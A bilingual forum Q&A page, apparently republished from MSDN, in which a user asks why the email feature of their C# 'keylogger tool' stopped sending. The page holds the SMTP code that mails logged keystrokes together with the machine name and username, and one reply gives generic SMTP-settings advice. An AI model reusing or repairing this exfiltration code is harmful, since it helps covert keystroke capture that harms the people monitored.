在C#Windows应用程序中发送邮件失败 [英] sending mails failed in c# windows application

查看:65
本文介绍了在C#Windows应用程序中发送邮件失败的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

大家好,
这是我在msdn上的第一篇文章,因为我没有找到解决此问题的任何方法,而我在其他任何地方也没有.
我当时正在使用键盘记录器工具.它具有几个功能.其中之一是使用用户提供的凭据发送邮件.
对我来说很好.几天后突然无法发送邮件.但是,如果我复制相同的代码并使用相同的用户凭据创建演示应用程序,它将可以正常工作.因此,我当然认为代码没有问题.我的代码看起来像这样.

Hi All,
Its my first post on msdn, because I have not found any solution for the issue I am having any where else.
I was working on a keylogger tool. It have several features. One of them is sending mail on user provided credentials.
It was working fine for me. Suddenly after few day its failing to send mails now. But if I copy same code and create a demo application with same user credentials it will work. So surely I think no issue with code. My code is looks like this.

SmtpClient SmtpMail = new SmtpClient(txtMailServer.Text.Trim(), Convert.ToInt32(txtPort.Text.Trim())); 
 

MailMessage mailMessage = new MailMessage(txtUser.Text.Trim(), txtUser.Text.Trim()); 
mailMessage.SubjectEncoding = Encoding.UTF8; 
mailMessage.Subject = "Windows Keylogger Tool"; 
mailMessage.IsBodyHtml = true; 
mailMessage.BodyEncoding = Encoding.UTF8; 
mailMessage.Priority = MailPriority.High; 
SmtpMail.EnableSsl = true; 
SmtpMail.Credentials = new System.Net.NetworkCredential(txtUser.Text.Trim(), txtPass.Text.Trim()); 

StringBuilder mbody = new StringBuilder(); 
mbody.Append("Machine:" + Environment.MachineName + ":" + Environment.UserName + " Time:" + DateTime.Now + Environment.NewLine); 
mbody.Append(Environment.NewLine + message); 
mailMessage.Body = mbody.ToString();

//send test mail
SmtpMail.Send(mailMessage);



现在我无法弄清楚这里的问题是什么.我尝试使用其他凭据.它只是无法正常工作,我现在也变得无脑了.
请帮助我.



Now I can not figure out whats the issue here. I tried using different credentials. Its just not working and I am kind of no brainer now.
Please help me.

推荐答案

最有可能在本地工作的凭据在实际的部署环境中可能无法工作.并且您还需要检查您的smtp设置以了解部署环境.您可能需要向网络提供商询问smtp设置.
most probably the credentials that work locally may not work in actual deployment environment. And you need to check your smtp settings as well for deployment environment. You may need to ask you net provider for smtp settings.


这篇关于在C#Windows应用程序中发送邮件失败的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆